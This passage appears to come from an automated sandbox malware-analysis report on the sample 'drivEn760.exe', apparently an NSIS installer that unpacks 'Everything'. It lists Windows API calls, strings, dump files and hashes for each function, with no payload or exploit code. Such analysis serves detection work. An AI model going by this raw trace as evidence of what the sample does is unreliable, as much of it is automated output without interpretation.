GetCurrentProcessId.KERNEL32(?,?,?,00CCF33E), ref: 00CCF3D2

Strings

CryptUnprotectMemory failed, xrefs: 00CCF3CA
CryptProtectMemory failed, xrefs: 00CCF389

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: b60648bbac8c28dbbc953fac4b7ce7a1d2ecf76092cbcf1dc266e1e3d67b9f0c
Instruction ID: 4b7cefbfa6cd8862c78db8bc376378448b77ab4cb029b99b7040708834df9d70
Opcode Fuzzy Hash: b60648bbac8c28dbbc953fac4b7ce7a1d2ecf76092cbcf1dc266e1e3d67b9f0c
Instruction Fuzzy Hash: A3110331A007A9BBEF119B21DC45F6E3B56FF04720B08416EFC559B2A1DA709E0296A2

Function 00CCB991 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00CCB9B8

Part of subcall function 00CC4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC40A5

Strings

%c:\, xrefs: 00CCB9AE

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: 5e18e7c3a3a1786d52f822c99266d5c0d9b2095f8381ceaf8c8f7cf4216217c7
Instruction ID: 2d5fc86bec372f8e1035436abe26daaed0fdf2f36071d77ff3a511c646feda25
Opcode Fuzzy Hash: 5e18e7c3a3a1786d52f822c99266d5c0d9b2095f8381ceaf8c8f7cf4216217c7
Instruction Fuzzy Hash: B501D263500351A99A346BA6CC87E6BA7ACEE91770F40841EF599D7082EB30DD4092B1

Function 00CD101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00CD1160,?,00000000,00000000), ref: 00CD1043
SetThreadPriority.KERNEL32(?,00000000), ref: 00CD108A

Part of subcall function 00CC6C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC6C54

Strings

CreateThread failed, xrefs: 00CD104F

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: e5934255b618eb76e084f9bd78e22cf478d54a3f3a34baa2e3a4a1a91eec08e0
Instruction ID: 97df4a88994c7d4a28464b8da6e808a5c9613c0f53dbb3127b493d5bd7711cf1
Opcode Fuzzy Hash: e5934255b618eb76e084f9bd78e22cf478d54a3f3a34baa2e3a4a1a91eec08e0
Instruction Fuzzy Hash: 4101A2B93443497BD3346E64ED51F7A7398EB41751F24002FFA8692380CAE168858625

Function 00CC1316 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00CCE2E8: _swprintf.LIBCMT ref: 00CCE30E
Part of subcall function 00CCE2E8: _strlen.LIBCMT ref: 00CCE32F
Part of subcall function 00CCE2E8: SetDlgItemTextW.USER32(?,00CFE274,?), ref: 00CCE38F
Part of subcall function 00CCE2E8: GetWindowRect.USER32(?,?), ref: 00CCE3C9
Part of subcall function 00CCE2E8: GetClientRect.USER32(?,?), ref: 00CCE3D5

GetDlgItem.USER32(00000000,00003021), ref: 00CC135A
SetWindowTextW.USER32(00000000,00CF35F4), ref: 00CC1370

Strings

0, xrefs: 00CC1319

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 990c745072dca72b95a93738aaf295821ba32ff4f9284bcedaf9730c4244089e
Instruction ID: 968b01009f00042b7a95640bf549a54c323b3d9b6307ea98a4ba58ea4b1fa4d0
Opcode Fuzzy Hash: 990c745072dca72b95a93738aaf295821ba32ff4f9284bcedaf9730c4244089e
Instruction Fuzzy Hash: C9F036301043C8A6EF155F51CC0DFA93B599B5634DF0C4119FD58955A2C778CA91AA70

Function 00CD0FE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00CD1206,?), ref: 00CD0FEA
GetLastError.KERNEL32(?), ref: 00CD0FF6

Part of subcall function 00CC6C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC6C54

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00CD0FFF

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: e8646f30f7d125d4b20c201628b8d2fea6057a8f5c77feb47ea3286087b99d82
Instruction ID: a54e194efadc6537bb13b07daf504ea169e1568b874fa844cf7a1086cc1482b8
Opcode Fuzzy Hash: e8646f30f7d125d4b20c201628b8d2fea6057a8f5c77feb47ea3286087b99d82
Instruction Fuzzy Hash: 16D05B7150456477C6103324AD05FBF39049B12731B54472AF579552F5CE154AC19697

Function 00CCE29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00CCDA55,?), ref: 00CCE2A3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00CCDA55,?), ref: 00CCE2B1

Strings

RTL, xrefs: 00CCE2AB

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: d3ca4dd5ae9be58e76d1d46c887f0b4bce81126f49671a338c665db369724f27
Instruction ID: 66bd738cbe5644ada963358f16c51e3f6c7f2713c914d702ae9c4e772cd5cf5c
Opcode Fuzzy Hash: d3ca4dd5ae9be58e76d1d46c887f0b4bce81126f49671a338c665db369724f27
Instruction Fuzzy Hash: 34C0803124079076E73037757C0DF576E585B01B11F05045DF641E91D1DEE5C540C7E1

Analysis Process: drivEn760.exePID: 4788, Parent PID: 6156COMMON

Execution Graph

Execution Coverage:	27.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.1%
Total number of Nodes:	1394
Total number of Limit Nodes:	42

Executed Functions

Function 00403640 Relevance: 91.4, APIs: 34, Strings: 18, Instructions: 450
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00008001), ref: 00403663
GetVersionExW.KERNEL32(?), ref: 0040368C
GetVersionExW.KERNEL32(0000011C), ref: 004036A3
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 0040373A
#17.COMCTL32(00000007,00000009,0000000B), ref: 00403776
OleInitialize.OLE32(00000000), ref: 0040377D
SHGetFileInfoW.SHELL32(00421708,00000000,?,000002B4,00000000), ref: 0040379B
GetCommandLineW.KERNEL32(00429260,NSIS Error), ref: 004037B0
CharNextW.USER32(00000000,"C:\Users\user\AppData\Local\Temp\drivEn760.exe" ,00000020,"C:\Users\user\AppData\Local\Temp\drivEn760.exe" ,00000000), ref: 004037E9
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,?), ref: 0040391C
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040392D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403939
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040394D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403955
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403966
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040396E
DeleteFileW.KERNELBASE(1033), ref: 00403982
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\AppData\Local\Temp\drivEn760.exe" ,00000000,?), ref: 00403A69
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\AppData\Local\Temp\drivEn760.exe" ,00000000,?), ref: 00403A78

Part of subcall function 00405C16: CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405C1C

lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\AppData\Local\Temp\drivEn760.exe" ,00000000,?), ref: 00403A83
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\AppData\Local\Temp\drivEn760.exe" ,00000000,?), ref: 00403A8F
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403AAF
DeleteFileW.KERNEL32(00420F08,00420F08,?,0042B000,?), ref: 00403B0E
CopyFileW.KERNEL32(C:\Users\user\AppData\Local\Temp\drivEn760.exe,00420F08,00000001), ref: 00403B21
CloseHandle.KERNEL32(00000000,00420F08,00420F08,?,00420F08,00000000), ref: 00403B4E
ExitProcess.KERNEL32(?), ref: 00403B6C
CoUninitialize.COMBASE(?), ref: 00403B71
ExitProcess.KERNEL32 ref: 00403B8B
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403B9F
OpenProcessToken.ADVAPI32(00000000), ref: 00403BA6
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403BBA
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403BD9
ExitWindowsEx.USER32(00000002,80040002), ref: 00403BFE
ExitProcess.KERNEL32 ref: 00403C1F

Strings

\Temp, xrefs: 00403933
~nsu, xrefs: 00403A61
TEMP, xrefs: 00403961
C:\Users\user\AppData\Local\Temp\drivEn760.exe, xrefs: 00403B1C
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403659
C:\Users\user\AppData\Local\Temp, xrefs: 00403A88, 00403A8D, 00403AC0
C:\Users\user\AppData\Local\Temp\, xrefs: 00403911, 00403916, 0040392C, 00403938, 00403947, 00403954, 00403960, 00403968, 00403A66, 00403A77, 00403A82, 00403A8E, 00403A9F, 00403AAE, 00403B64
"C:\Users\user\AppData\Local\Temp\drivEn760.exe" , xrefs: 004037B6, 004037BC, 004037D1, 004039A8, 004039B4, 00403A02, 00403A0C
NSIS Error, xrefs: 004037A1
1033, xrefs: 0040397D
C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything, xrefs: 00403A3B
Low, xrefs: 0040394F
UXTHEME, xrefs: 0040372E, 00403733, 00403739
TMP, xrefs: 00403969
SeShutdownPrivilege, xrefs: 00403BB4
C:\Program Files\Everything, xrefs: 00403901, 00403A30, 00403AB7, 00403AC1
Error launching installer, xrefs: 00403A12
.tmp, xrefs: 00403A7D

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Processlstrcat$ExitFile$Directory$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
String ID: "C:\Users\user\AppData\Local\Temp\drivEn760.exe" $.tmp$1033$C:\Program Files\Everything$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\drivEn760.exe$C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2292928366-2835036153
Opcode ID: b771b6d1e398e84ac5177c2d3d93500617573adaa23d8a8461df8c4b5d5bc202
Instruction ID: d56582c8b11bee4b9d4e83ad1f604629a9588d533935b381636b20c84fba3529
Opcode Fuzzy Hash: b771b6d1e398e84ac5177c2d3d93500617573adaa23d8a8461df8c4b5d5bc202
Instruction Fuzzy Hash: D4E1F471A00214AADB20AFB58D45A6E3EB8EB05709F50847FF945B32D1DB7C8A41CB6D

Function 00405809 Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405867
GetDlgItem.USER32(?,000003EE), ref: 00405876
GetClientRect.USER32(?,?), ref: 004058B3
GetSystemMetrics.USER32(00000002), ref: 004058BA
SendMessageW.USER32(?,00001061,00000000,?), ref: 004058DB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004058EC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004058FF
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040590D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405920
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405942
ShowWindow.USER32(?,00000008), ref: 00405956
GetDlgItem.USER32(?,000003EC), ref: 00405977
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405987
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004059A0
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004059AC
GetDlgItem.USER32(?,000003F8), ref: 00405885

Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607

GetDlgItem.USER32(?,000003EC), ref: 004059C9
CreateThread.KERNELBASE(00000000,00000000,Function_0000579D,00000000), ref: 004059D7
CloseHandle.KERNELBASE(00000000), ref: 004059DE
ShowWindow.USER32(00000000), ref: 00405A02
ShowWindow.USER32(?,00000008), ref: 00405A07
ShowWindow.USER32(00000008), ref: 00405A51
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405A85
CreatePopupMenu.USER32 ref: 00405A96
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405AAA
GetWindowRect.USER32(?,?), ref: 00405ACA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405AE3
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B1B
OpenClipboard.USER32(00000000), ref: 00405B2B
EmptyClipboard.USER32 ref: 00405B31
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405B3D
GlobalLock.KERNEL32(00000000), ref: 00405B47
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B5B
GlobalUnlock.KERNEL32(00000000), ref: 00405B7B
SetClipboardData.USER32(0000000D,00000000), ref: 00405B86
CloseClipboard.USER32 ref: 00405B8C

Strings

{, xrefs: 00405A6F
pg, xrefs: 00405A5B
H7B, xrefs: 00405AF7

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: H7B${$pg
API String ID: 590372296-2899556951
Opcode ID: 52cbb17928025f0c544e8cef57dfe715cf1101629750118a67e1dc10e69a1e88
Instruction ID: d0bbb34d81c2c7a38b5cdb5171fa906e4f4201ee6cbe22cb0b3272b57562556b
Opcode Fuzzy Hash: 52cbb17928025f0c544e8cef57dfe715cf1101629750118a67e1dc10e69a1e88
Instruction Fuzzy Hash: D8B137B0900608FFDF119FA0DD89AAE7B79FB08354F00417AFA45A61A0CB755E52DF68

Function 00404AB5 Relevance: 30.0, APIs: 12, Strings: 5, Instructions: 275
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404B04
SetWindowTextW.USER32(00000000,?), ref: 00404B2E
SHAutoComplete.SHLWAPI(00000000,00000001,00000008,00000000,?,00000014,?,?,00000001,?), ref: 00404B68
SHBrowseForFolderW.SHELL32(?), ref: 00404BDF
CoTaskMemFree.OLE32(00000000), ref: 00404BEA
lstrcmpiW.KERNEL32(Delete on reboot: ,00423748,00000000,?,?), ref: 00404C1C
lstrcatW.KERNEL32(?,Delete on reboot: ), ref: 00404C28
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404C3A

Part of subcall function 00405CAC: GetDlgItemTextW.USER32(?,?,00000400,00404C71), ref: 00405CBF

Part of subcall function 004068EF: CharNextW.USER32(?,*?|<>/":,00000000,00000000,75923420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406952
Part of subcall function 004068EF: CharNextW.USER32(?,?,?,00000000,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406961
Part of subcall function 004068EF: CharNextW.USER32(?,00000000,75923420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406966
Part of subcall function 004068EF: CharPrevW.USER32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406979

GetDiskFreeSpaceExW.KERNELBASE(00421718,?,?,?,00000001,00421718,?,?,000003FB,?), ref: 00404CB1
GetDiskFreeSpaceW.KERNEL32(00421718,?,?,0000040F,?,00421718,00421718,?,00000001,00421718,?,?,000003FB,?), ref: 00404CFD
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404D18

Part of subcall function 00404E71: lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
Part of subcall function 00404E71: wsprintfW.USER32 ref: 00404F1B
Part of subcall function 00404E71: SetDlgItemTextW.USER32(?,00423748), ref: 00404F2E

Strings

H7B, xrefs: 00404BB2
Delete on reboot: , xrefs: 00404C16, 00404C1B, 00404C26
C:\Program Files\Everything, xrefs: 00404C05
pg, xrefs: 00404ABB
A, xrefs: 00404BD8

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CharItemText$FreeNext$DiskSpace$AutoBrowseCompleteFolderPrevTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Program Files\Everything$Delete on reboot: $H7B$pg
API String ID: 4039761011-932901127
Opcode ID: d411b7e7397960d58536e35a9f4f22ef0176bfb2586233fd77df9836147bc2be
Instruction ID: 9155a42c54a3203d4d9709c494e168d8d926bd307d67cbb08bf4d9f42020e7e3
Opcode Fuzzy Hash: d411b7e7397960d58536e35a9f4f22ef0176bfb2586233fd77df9836147bc2be
Instruction Fuzzy Hash: 94A171F1900219ABDB11EFA5CD41AAFB7B8EF84315F11843BF601B62D1D77C8A418B69

Function 00405D74 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,75923420,75922EE0,00000000), ref: 00405D9D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\*.*,\*.*,C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\*.*,?,?,75923420,75922EE0,00000000), ref: 00405DE5
lstrcatW.KERNEL32(?,0040A014,?,C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\*.*,?,?,75923420,75922EE0,00000000), ref: 00405E08
lstrlenW.KERNEL32(?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\*.*,?,?,75923420,75922EE0,00000000), ref: 00405E0E
FindFirstFileW.KERNELBASE(C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\*.*,?,?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\*.*,?,?,75923420,75922EE0,00000000), ref: 00405E1E
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405EBE
FindClose.KERNEL32(00000000), ref: 00405ECD

Strings

C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\*.*, xrefs: 00405DCD, 00405DD3, 00405DE4, 00405E1D
., xrefs: 00405E43
